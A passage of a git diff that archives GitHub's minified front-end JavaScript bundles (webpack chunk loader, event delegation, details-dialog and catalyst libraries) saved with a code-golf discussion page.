Z9+1Br2Fz+dTom0HsfjBgY4tzj1hH8gVAHFns/lcAJ/B+tcgCkKUBrnOUTaZxW9ktJkM/5pI48+6w==","vendors-node_modules_three_build_three_module_js":"sha512-0mV2oJmxbwpW3oe1WKaCN79fMYzbWZxWvPHRvB3+m0jNAYenyvvKxomvW/azsM3eIyEokGkiyL5pdZIRi8Hcqg==","app_assets_modules_github_webgl-warp_ts":"sha512-jTTdceFPhowWthPQJZWPHD84noEliIzmichqKZsnlUy7E0EmpA0WOHtcZ2yAxneTlSTl9OajQxtMH53yzh7kBw==","app_assets_modules_github_profile_contributions-spider-graph_ts":"sha512-mCO4cUgM6cZoMKAm8fbSLsY8/9/RcRurXn6wQ4e3I5l89HjwYZaf8qydOHf/F/wzNrWltt6sYa/x7EBa1a3SyQ==","app_components_advisories_severity-calculator-element_ts":"sha512-QgrdLWCw/T3UAcbD3rQtmu2VetJcJ4ZeyQI8+fkqkISbPsHou7OICetpZ4QF0Zf/8gVeSCZgY0kaWFI0mzh6rg==","app_assets_modules_github_behaviors_remote-clipboard-copy_ts":"sha512-XsMVsUVqX7Rgf9d4ZOMcyhu005kN1VcYcFlCmOUMojRm5IOmmFnJU9sykO0qfvepSnGpls+4JrlE94eCth6/iA==","app_components_accessibility_animated-image-element_ts":"sha512-lPF9wWhdafZFGitZkI4EJJytTymjA2gL2Ynu44jsV10BqufLjN/lunx86em8cSXYKJwYy9gcWY4FQ29SMSfYxg==","app_components_account_verifications_launch-code-element_ts":"sha512-0P0pN7ISdk2esA8jqX+kSfVLaO3PzyOZ6VT/XoLER20zk0REYvWF+c4kLitcGrIlah55SsXVCvtdDJ58nF/ASw==","app_components_advisories_metric-selection-element_ts":"sha512-Ta9K9YHRxCUplC9lgKa8Ulw3rJk4rTJAN+HGNokEZqi7piVfAZfKaP1uKjR8hTCc8uVd1P3el9khTE/HTl/JPg==","app_components_code_scanning_alert-dismissal-details-element_ts":"sha512-v+azhTJOsAzRFkDEUJbnEAFcFZkRccdDuu2YSCFmgTyZ+T6Iij2WEovRsimH5lqkZ0o0wM4HtaHKwPrxrsYrYg==","app_components_codespaces_advanced_options_sku-list-element_ts":"sha512-zqpRFf3Mcl/OTrHLJSsxfkV73poMNYhLhrgJhPfNVokxVoDnwdSRd/K50CKlZ2uNhnDct6oy5GqEH3xtUpglCQ==","app_components_codespaces_create-button-element_ts":"sha512-0cpcbQwLtFEMnBEPh6EEzi0RVPPwUU5kDBu4Cnrflr9VGtZe2zrifhyRzua9C5BGCP57kEE4aPBDIdO9L+qk4Q==","app_components_diffs_deferred-diff-lines-element_ts":"sha512-dMwiaxXXffWSdc6NarZIwYCSr7PmMXPjRmSx+eJy1WFylzGp+xBA/ZXbqHLFsts1wWQGRjZTKXfoj5Pbg1fOQg==","app_components_files_readme-toc-element_ts":"sha512-Hlg1mRqUjF49NFJSVV3XgAm76wbimmMBOM5iRpGJBa9D/ByL06e33Oddm13GJQObffLlxT+eKHaXDIhFZYiNxw==","app_components_github_delayed-loading-element_ts":"sha512-8d4na7eql/x4hCCUbEHfXxYse5kBI+748xAuuwybD74fO9fR/InT6vdeRbowaaqnmues+nwbD74BckskN5SY3A==","app_components_github_feature-callout-element_ts":"sha512-Li6AIOasOCvZdMrgLteprq0XOXVY1/JZ7M+enbvEtJJgSR5hmyj3OKtbqhtUhi0qAkMXiY9u8vG4ZiOJ4vmcyA==","app_components_issues_reopen-button-element_ts":"sha512-hSinw1qnb2n7olhfsgf+SLDfXbiEWhFKwgYIDnNwHcOMTJJNxfzCH+JMFG2XWlb1Z5lB7lFhXEUDnJBObxlhfg==","app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts":"sha512-2XC17LC7y9p3wlhPVtYQhmoVqena7ALdLyTL1J1k4NGu3C/FYUlP0M4dTUdb5agl3DqR9lF58c3cGnbE6K4N1g==","app_components_organizations_settings_codespaces-policy-form-element_ts":"sha512-HlcttOdTZl7aoUgIrwM1lh7JJ4oIx2oX1Iocuf4DkjBdR6wO7t0Auw0GW1LmVbC0tGjERh94O4aqG4fvfdWahw==","app_components_organizations_settings_features_insights-form-element_ts":"sha512-+4CBbqU5f99UrDjnsjvfcknOUO2/xOpgf26ljbyhydInWtVjRXsxtbaSp26X08HELZ4flmu01CkGQUFCL6bmWg==","app_components_primer_action_menu_action-menu-element_ts":"sha512-wuoDJIdnaSUQxJcd9e0KCh5U6CczuEEBqMWE2ZaMuRiv8c5foHSp1a+GuqHDyJazdNbZ0d/SCkZtvXVJb/IAVg==","app_components_primer_experimental_toggle-switch-element_ts":"sha512-vA+dwxMwb1jxu0V2VbOGSLpYDFU8FHmN/xxqIN/kfICkqriQrYftkb676eT+aGyltGdCW+ChOFEChxZRJyxe6A==","app_components_primer_modal_dialog_iterate-focusable-elements_ts":"sha512-yekMrWS8VU5ucaBD1gtyFAp4BNyOyM9JT+aIdfTkO3epXhqDqWxy50yOt/j/tRR1P2ymC0BM9+4R1xNgjKToVg==","app_components_primer_modal_dialog_modal-dialog-element_ts":"sha512-GRAAhJAY+bdXA4vJwE+OmFdjUpVydAP/SV1W+SmZQDq7Aq8oSB7Dq9q2XA8b/20gr0Aq5F6mdM00zngreJyh9A==","app_components_pull_requests_file_tree_file-filter-element_ts":"sha512-gyJ081vyf0Xgd4mZ3wc1eMkz3gWvofA+KmTD8qv4cDJymGwu8QsKFsZ8Z/L5yJmnErJedA84sH9TjhOBE/+iVw==","app_components_pull_requests_file_tree_file-tree-element_ts":"sha512-8xUvTwoEdeZADPOE3Re8TURu/biwMTU5zw1nngnJ4ZEaiR9jdCD94bCScdRjEizUepjoQHoOloFSekND3Y0E0Q==","app_components_pull_requests_file_tree_file-tree-toggle-element_ts":"sha512-7z0FO5DEnByUiAj8SylkFHf8fStEgx3PNR+GLb0ubOzPK6eMt036lI39IV/Btlk7OJLXVrc4hsOoG14shTCnNw==","app_components_repos_alerts_dependabot-alert-row-element_ts":"sha512-SywsF6Zms7czM5n1qife/0uz8LH3m7KbIc9YtJREiZ8G45WzADZuQlfsWCd4ulamomkS/kO//uvnj1g/JKZyKQ==","app_components_repos_alerts_dependabot-alert-table-header-element_ts":"sha512-eooOXoFuSYMgk3P1uV/IdkSlkQd4tDTr60il9hT1x3NZMsotcuYNd5g0LG9hinY23vYLxypE4aGqCD4Klxstdg==","app_components_repositories_memex_memex-project-picker-element_ts":"sha512-U+0+9BX1fnF9dXk2gFZ5tHgvkEw2UsQbxybv9+sCv1dwAFmZPLG860c3Ti8zMXg3wsv09LFj4fJWCTmHv4KBDg==",app_components_search_parsing_common_ts:"sha512-Zp26qsmcPLngNRzQRw1H7GCEv6yQSKHnEjkMIxQ4+ifY24a4SSNdmZtsTwHESw/7OwBkK6aQo24oqYMsoCknOg==",app_components_search_suggestions_blackbird_ts:"sha512-nT8LmhZgTVjXgUF9CK3GY8IdgTcYQcmhxgsA6aUT4wg0cR/jVk1B/YE5VRDpkbCeB16uiXEoa/PmlGygMiomnw==","app_components_search_suggestions_custom-scopes_ts":"sha512-3yWFLjrYRLUAB6oZ58Stabx+/gGwA7Baykephq56A5TA0WG2HvjuKJbTBTO05cjk22FpKGwA5yRpiZkHj4eXRw==",app_components_search_suggestions_default_ts:"sha512-HnCDdQpYLyjUz/WadRyCKStd4WtOmEa6HrhlN1McRzpH9r1JIhjNDuMJMqzVQhDTbaUFWBSYmt1wSJ/f4aDoxA==","app_components_search_suggestions_fixed-qualifiers_ts":"sha512-89o1r1T3mLKODJXmqnk+WedDAG0vur/nZNkVNA/Ww6xlQe/3Pe7NVfeF6j+LF0lpXOuVaIiAMK1SSDsPycBB8g==",app_components_search_suggestions_history_ts:"sha512-W3d407jS9VxXVyYTgLU485MVvXJKJhzs9iB/iyw/w4fei1MnDGLak++RmV4OiAmmkT+kLJsGBSd/aavIoXJB3g==",app_components_search_suggestions_languages_ts:"sha512-+PkaaSelHAPYRWvviLTId1S3HIvVw0yk99N4K2OhA/qTP37c9cOFgsxqO6t/Ki5/tzGp6jyYDqEKgJJ7SMEBZQ==",app_components_search_suggestions_suggestions_ts:"sha512-B7Nlh0geByqceYH4+Rta1MOcallw8HWTDn5fiO21ZrADo+QrSod8uRcVTq3CXWX6p6brzmE0tOjoAP9yB7u6Pg==",app_components_search_suggestions_types_ts:"sha512-kW49jEW0Ab9BtybEId64VGmsyfPlOMVRk/ttcVGyeC6+rnUeIFnlln8vL0pNwdhKSOP2pCk5o6+8EvXVosLjdw==","app_components_slash_commands_slash-command-toolbar-button-element_ts":"sha512-RHdlYHzDfpMjOdZbCWoUFmk7jTWLHTjZetsimOsI0Ms7D+5RcEAw9R0Eob3AsGx51A2AKGReTLzV0zZ1rv91qg==","app_components_stafftools_turbo_turbo-staffbar-element_ts":"sha512-IvoC4fAhrI5aCxE5K9bvUE20nGvZSVpVDVEwBKXLNimIYPnLDBbuLuRZRqWVfmNrRWt6oKPX/LTdGZQ6QwtUcg==","app_components_stafftools_turbo_turbo-staffbar-preview-element_ts":"sha512-MCpREfCnzYzKvsgDV2FuJdeHsK0Ob0MzLmzsH8TO7CyOJ3osSerFgJsB0pfYjxTb1jXPJmPkeqe6SwdNr4VyDg==","app_components_themed_pictures_themed-picture-element_ts":"sha512-nyzAyLD8t++Lyh+i/IKpkIk0JfFWjP0qKvuLoM4xwk4ck35wyex+EacGOIFiOH2LelcXV0FiL/xboRcVtgNl+A==","app_components_tracking_blocks_tracking-block-api_ts":"sha512-0u38w/1aNEmAh0TLGo79x4AYCYdt7S4g5mR0FShL9mAHI3mvtDhb3HSVqZJGoeh8+3vkIw6UUYLFrt69hQJYqw==","app_components_tracking_blocks_tracking-block-element_ts":"sha512-G/lNuFWi3Z6zNIzTSz/T2zcqJ6Q9zgtE3ttmIErpquUgVfeT29w9J3DOChUvscxdIaveCQC9QcxPLstZf9tauw==","app_components_tracking_blocks_tracking-block-omnibar-element_ts":"sha512-93Y2PZscwJN7bH9FjJ1jEkJWb+KmThUoqqUPL2pn/5RoO8Bd5y0yMSWoRSPJTy90r7Pw/9R4513IQAWSdiXeVQ==","app_assets_modules_github_emoji-picker-element_ts":"sha512-XraQrYuikdc2um+3rCRgeIwFYRKLUjir8U/nwSYOF52Vu+1v8etWLeILxjZKclExKqR/yZvn0UJYYLWez3W1ng==","app_assets_modules_github_behaviors_edit-hook-secret-element_ts":"sha512-VRfnq+eDbUcN8tTNmazkjOfVLTwP1zk5uj9fcgMr5CJ44xcp3O6uEhIRf6ceEZqWXbXvFCXR74TJ/X9xhVOV3g==","app_assets_modules_github_insights_insights-query_ts":"sha512-HUmykKCpoMqBGXg4S+Nzyneods7BnBTFdmev9lHrzcNlM4NUFiMBAO6KDU4QInL0IUXdEuZZGUZv9f5jGvJoKQ==","app_assets_modules_github_insights_series-table_ts":"sha512-iMQOln09UQ5kc+1plprNbTA6oySd/N4Pv7pNm5C0x+9SU+O3dy1+amg2vZPGiXwk0wW5jGP5lIRKUFKF4YaNZA==","app_assets_modules_github_presence_presence-avatars_ts":"sha512-aO6oYeK9FLQSsM97Dv6ydNEidC1URILeRiPeecHGx1+eiq9VfY4RRORukAQU2o+ADwNj93pxyLIWh56EX1FBsQ==","app_assets_modules_github_behaviors_reload-after-polling-element_ts":"sha512-A4PhKT/oT4hmMoP9muRqfT0p0BESrLWM2Q055YxXW+1vjz8rHLBLMo0RWDhm5pVMfQ3ONZ3UB/DaGfAAKLMY0g==",app_assets_modules_github_dependencies_ts:"sha512-nt/ORE7b8HDLyl9kFMy/WSAJb5WY7Z7LnOJXxJ3nvpqgFW/0x6cWKlvpmLbWmE/Kavq1kyridh02ZMgxswaCIg==","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9":"sha512-wwilBKUArz/rX5pIRCf12Drd7eXVXs1ojNAHgi9psdcnAkO6+cB5qG1JeZN7rySsdjVfG9ROnrrjbjsoUIonsA==","app_assets_modules_github_graphs_network-graph-element_ts":"sha512-Tn2dyXwUODVBVNhSZCvNV+cpSmFs3I5Ac0cTiVt9ytytAtXbugUtI4wiHkvlob5EOaAkjhOXJ4fbn8CeEtaUBw==","app_assets_modules_github_localization_inline-machine-translation-element_ts":"sha512-IDhGCIIlRbHjsowkTJXs0sd/86Zcld1QMdi2paC9Asgm3ZaNFG7utv/8tiOendd16UL8atdCfNM9dZJzMn9PUQ=="},(()=>{var e={runtime:0};t.f.j=(a,n)=>{var s=t.o(e,a)?e[a]:void 0;if(s!==0)if(s)n.push(s[2]);else if(a!="runtime"){var p=new Promise((d,m)=>s=e[a]=[d,m]);n.push(s[2]=p);var r=t.p+t.u(a),i=new Error,l=u(d=>{if(t.o(e,a)&&(s=e[a],s!==0&&(e[a]=void 0),s)){var m=d&&(d.type==="load"?"missing":d.type),c=d&&d.target&&d.target.src;i.message="Loading chunk "+a+` failed. +(`+m+": "+c+")",i.name="ChunkLoadError",i.type=m,i.request=c,s[1](i)}},"loadingEnded");t.l(r,l,"chunk-"+a,a)}else e[a]=0},t.O.j=a=>e[a]===0;var o=u((a,n)=>{var[s,p,r]=n,i,l,d=0;if(s.some(c=>e[c]!==0)){for(i in p)t.o(p,i)&&(t.m[i]=p[i]);if(r)var m=r(t)}for(a&&a(n);d{var K=Object.defineProperty;var u=(W,L)=>K(W,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","node_modules_delegated-events_dist_index_js"],{59753:(W,L,H)=>{H.d(L,{f:()=>V,on:()=>z});function g(){if(!(this instanceof g))return new g;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}u(g,"SelectorSet");var x=window.document.documentElement,F=x.matches||x.webkitMatchesSelector||x.mozMatchesSelector||x.oMatchesSelector||x.msMatchesSelector;g.prototype.matchesSelector=function(e,r){return F.call(e,r)},g.prototype.querySelectorAll=function(e,r){return r.querySelectorAll(e)},g.prototype.indexes=[];var q=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"ID",selector:u(function(r){var n;if(n=r.match(q))return n[0].slice(1)},"matchIdSelector"),element:u(function(r){if(r.id)return[r.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"CLASS",selector:u(function(r){var n;if(n=r.match(P))return n[0].slice(1)},"matchClassSelector"),element:u(function(r){var n=r.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var B=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"TAG",selector:u(function(r){var n;if(n=r.match(B))return n[0].toUpperCase()},"matchTagSelector"),element:u(function(r){return[r.nodeName.toUpperCase()]},"getElementTagName")}),g.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var C;typeof window.Map=="function"?C=window.Map:C=function(){function e(){this.map={}}return u(e,"Map"),e.prototype.get=function(r){return this.map[r+" "]},e.prototype.set=function(r,n){this.map[r+" "]=n},e}();var I=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function O(e,r){e=e.slice(0).concat(e.default);var n=e.length,c,o,l,a,f=r,m,h,p=[];do if(I.exec(""),(l=I.exec(f))&&(f=l[3],l[2]||!f)){for(c=0;c3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];a||(a=new g,l[e]=a,document.addEventListener(e,k,o)),a.add(r,n)}u(z,"on");function G(e,r,n){var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];!a||(a.remove(r,n),!a.size&&(delete l[e],document.removeEventListener(e,k,o)))}u(G,"off");function V(e,r,n){return e.dispatchEvent(new CustomEvent(r,{bubbles:!0,cancelable:!0,detail:n}))}u(V,"fire")},14840:(W,L,H)=>{H.d(L,{Z:()=>R});const g="data-close-dialog",x=`[${g}]`;function F(s){let t=Array.from(s.querySelectorAll("[autofocus]")).filter(P)[0];t||(t=s,s.setAttribute("tabindex","-1")),t.focus()}u(F,"autofocus");function q(s){const t=s.currentTarget;t instanceof Element&&(s.key==="Escape"||s.key==="Esc"?(_(t,!1),s.stopPropagation()):s.key==="Tab"&&C(s))}u(q,"keydown");function P(s){return s.tabIndex>=0&&!s.disabled&&B(s)}u(P,"focusable");function B(s){return!s.hidden&&(!s.type||s.type!=="hidden")&&(s.offsetWidth>0||s.offsetHeight>0)}u(B,"visible");function C(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.querySelector("details-dialog");if(!t)return;s.preventDefault();const i=Array.from(t.querySelectorAll("*")).filter(P);if(i.length===0)return;const d=s.shiftKey?-1:1,E=t.getRootNode(),N=t.contains(E.activeElement)?E.activeElement:null;let k=d===-1?-1:0;if(N instanceof HTMLElement){const z=i.indexOf(N);z!==-1&&(k=z+d)}k<0?k=i.length-1:k=k%i.length,i[k].focus()}u(C,"restrictTabBehavior");function I(s){const t=s.querySelector("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close",{bubbles:!0,cancelable:!0})):!0}u(I,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.closest("details");!t||!t.hasAttribute("open")||I(t)||(s.preventDefault(),s.stopPropagation())}u(O,"onSummaryClick");function M(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(i instanceof y)if(t.hasAttribute("open")){const d="getRootNode"in i?i.getRootNode():document;d.activeElement instanceof HTMLElement&&b.set(i,{details:t,activeElement:d.activeElement}),F(i),t.addEventListener("keydown",q)}else{for(const E of i.querySelectorAll("form"))E.reset();const d=D(t,i);d&&d.focus(),t.removeEventListener("keydown",q)}}u(M,"toggle");function D(s,t){const i=b.get(t);return i&&i.activeElement instanceof HTMLElement?i.activeElement:s.querySelector("summary")}u(D,"findFocusElement");function _(s,t){t!==s.hasAttribute("open")&&(t?s.setAttribute("open",""):I(s)&&s.removeAttribute("open"))}u(_,"toggleDetails");function w(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(!(i instanceof y))return;const d=i.querySelector("include-fragment:not([src])");if(!d)return;const E=i.src;E!==null&&(d.addEventListener("loadend",()=>{t.hasAttribute("open")&&F(i)}),d.setAttribute("src",E),T(t))}u(w,"loadIncludeFragment");function A(s,t,i){T(s),t&&s.addEventListener("toggle",w,{once:!0}),t&&i&&s.addEventListener("mouseover",w,{once:!0})}u(A,"updateIncludeFragmentEventListeners");function T(s){s.removeEventListener("toggle",w),s.removeEventListener("mouseover",w)}u(T,"removeIncludeFragmentEventListeners");const b=new WeakMap;class y extends HTMLElement{static get CLOSE_ATTR(){return g}static get CLOSE_SELECTOR(){return x}constructor(){super();b.set(this,{details:null,activeElement:null}),this.addEventListener("click",function({target:t}){if(!(t instanceof Element))return;const i=t.closest("details");i&&t.closest(x)&&_(i,!1)})}get src(){return this.getAttribute("src")}set src(t){this.setAttribute("src",t||"")}get preload(){return this.hasAttribute("preload")}set preload(t){t?this.setAttribute("preload",""):this.removeAttribute("preload")}connectedCallback(){this.setAttribute("role","dialog"),this.setAttribute("aria-modal","true");const t=b.get(this);if(!t)return;const i=this.parentElement;if(!i)return;const d=i.querySelector("summary");d&&(d.hasAttribute("role")||d.setAttribute("role","button"),d.addEventListener("click",O,{capture:!0})),i.addEventListener("toggle",M),t.details=i,A(i,this.src,this.preload)}disconnectedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;if(!i)return;i.removeEventListener("toggle",M),T(i);const d=i.querySelector("summary");d&&d.removeEventListener("click",O,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:d}=i;!d||_(d,t)}static get observedAttributes(){return["src","preload"]}attributeChangedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;!i||A(i,this.src,this.preload)}}u(y,"DetailsDialogElement");const R=y;window.customElements.get("details-dialog")||(window.DetailsDialogElement=y,window.customElements.define("details-dialog",y))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-2fddb5aecbef.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js new file mode 100644 index 0000000..f0a9ad6 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var Z=Object.defineProperty;var a=(z,_)=>Z(z,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51","node_modules_delegated-events_dist_index_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c50","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"],{59753:(z,_,D)=>{D.d(_,{f:()=>o,on:()=>G});function p(){if(!(this instanceof p))return new p;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}a(p,"SelectorSet");var v=window.document.documentElement,P=v.matches||v.webkitMatchesSelector||v.mozMatchesSelector||v.oMatchesSelector||v.msMatchesSelector;p.prototype.matchesSelector=function(e,n){return P.call(e,n)},p.prototype.querySelectorAll=function(e,n){return n.querySelectorAll(e)},p.prototype.indexes=[];var y=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"ID",selector:a(function(n){var r;if(r=n.match(y))return r[0].slice(1)},"matchIdSelector"),element:a(function(n){if(n.id)return[n.id]},"getElementId")});var C=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"CLASS",selector:a(function(n){var r;if(r=n.match(C))return r[0].slice(1)},"matchClassSelector"),element:a(function(n){var r=n.className;if(r){if(typeof r=="string")return r.split(/\s/);if(typeof r=="object"&&"baseVal"in r)return r.baseVal.split(/\s/)}},"getElementClassNames")});var x=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"TAG",selector:a(function(n){var r;if(r=n.match(x))return r[0].toUpperCase()},"matchTagSelector"),element:a(function(n){return[n.nodeName.toUpperCase()]},"getElementTagName")}),p.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return a(e,"Map"),e.prototype.get=function(n){return this.map[n+" "]},e.prototype.set=function(n,r){this.map[n+" "]=r},e}();var S=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function w(e,n){e=e.slice(0).concat(e.default);var r=e.length,i,s,c,u,d=n,l,h,f=[];do if(S.exec(""),(c=S.exec(d))&&(d=c[3],c[2]||!d)){for(i=0;i3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];u||(u=new p,c[e]=u,document.addEventListener(e,V,s)),u.add(n,r)}a(G,"on");function t(e,n,r){var i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];!u||(u.remove(n,r),!u.size&&(delete c[e],document.removeEventListener(e,V,s)))}a(t,"off");function o(e,n,r){return e.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:!0,detail:r}))}a(o,"fire")},90420:(z,_,D)=>{D.d(_,{Lj:()=>T,Ih:()=>G,fA:()=>k,GO:()=>E});const p=new WeakSet;function v(t){p.add(t),t.shadowRoot&&P(t.shadowRoot),x(t),C(t.ownerDocument)}a(v,"bind");function P(t){x(t),C(t)}a(P,"bindShadow");const y=new WeakMap;function C(t=document){if(y.has(t))return y.get(t);let o=!1;const e=new MutationObserver(r=>{for(const i of r)if(i.type==="attributes"&&i.target instanceof Element)w(i.target);else if(i.type==="childList"&&i.addedNodes.length)for(const s of i.addedNodes)s instanceof Element&&x(s)});e.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const n={get closed(){return o},unsubscribe(){o=!0,y.delete(t),e.disconnect()}};return y.set(t,n),n}a(C,"listenForBind");function x(t){for(const o of t.querySelectorAll("[data-action]"))w(o);t instanceof Element&&t.hasAttribute("data-action")&&w(t)}a(x,"bindElements");function A(t){const o=t.currentTarget;for(const e of S(o))if(t.type===e.type){const n=o.closest(e.tag);p.has(n)&&typeof n[e.method]=="function"&&n[e.method](t);const r=o.getRootNode();if(r instanceof ShadowRoot&&p.has(r.host)&&r.host.matches(e.tag)){const i=r.host;typeof i[e.method]=="function"&&i[e.method](t)}}}a(A,"handleEvent");function*S(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const e=o.lastIndexOf(":"),n=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,e),tag:o.slice(e+1,n),method:o.slice(n+1)||"handleEvent"}}}a(S,"bindings");function w(t){for(const o of S(t))t.addEventListener(o.type,A)}a(w,"bindActions");function W(t,o){const e=t.tagName.toLowerCase();if(t.shadowRoot){for(const n of t.shadowRoot.querySelectorAll(`[data-target~="${e}.${o}"]`))if(!n.closest(e))return n}for(const n of t.querySelectorAll(`[data-target~="${e}.${o}"]`))if(n.closest(e)===t)return n}a(W,"findTarget");function M(t,o){const e=t.tagName.toLowerCase(),n=[];if(t.shadowRoot)for(const r of t.shadowRoot.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)||n.push(r);for(const r of t.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)===t&&n.push(r);return n}a(M,"findTargets");function k(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return W(this,o)}})}a(k,"target");function E(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return M(this,o)}})}a(E,"targets");function j(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}a(j,"register");function O(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}a(O,"autoShadowRoot");const m=new WeakMap;function T(t,o){m.has(t)||m.set(t,[]),m.get(t).push(o)}a(T,"attr");function N(t,o){o||(o=R(Object.getPrototypeOf(t)));for(const e of o){const n=t[e],r=F(e);let i={configurable:!0,get(){return this.getAttribute(r)||""},set(s){this.setAttribute(r,s||"")}};typeof n=="number"?i={configurable:!0,get(){return Number(this.getAttribute(r)||0)},set(s){this.setAttribute(r,s)}}:typeof n=="boolean"&&(i={configurable:!0,get(){return this.hasAttribute(r)},set(s){this.toggleAttribute(r,s)}}),Object.defineProperty(t,e,i),e in t&&!t.hasAttribute(r)&&i.set.call(t,n)}}a(N,"initializeAttrs");function R(t){const o=new Set;let e=t;for(;e&&e!==HTMLElement;){const n=m.get(e)||[];for(const r of n)o.add(r);e=Object.getPrototypeOf(e)}return o}a(R,"getAttrNames");function F(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}a(F,"attrToAttributeName");function U(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...R(t.prototype)].map(F).concat(o)},set(e){o=e}})}a(U,"defineObservedAttributes");const L=new WeakSet;function $(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),L.add(t),O(t),N(t),v(t),o&&o.call(t),t.shadowRoot&&P(t.shadowRoot)}a($,"initializeInstance");function B(t){U(t),j(t)}a(B,"initializeClass");function V(t){return L.has(t)}a(V,"initialized");function G(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){$(this,o)},B(t)}a(G,"controller")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51-edfd57e08401.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js new file mode 100644 index 0000000..c45b168 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var B=Object.defineProperty;var i=(I,_)=>B(I,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js"],{90420:(I,_,L)=>{L.d(_,{Lj:()=>Y,Ih:()=>T,fA:()=>P,GO:()=>U});const F=new WeakSet;function 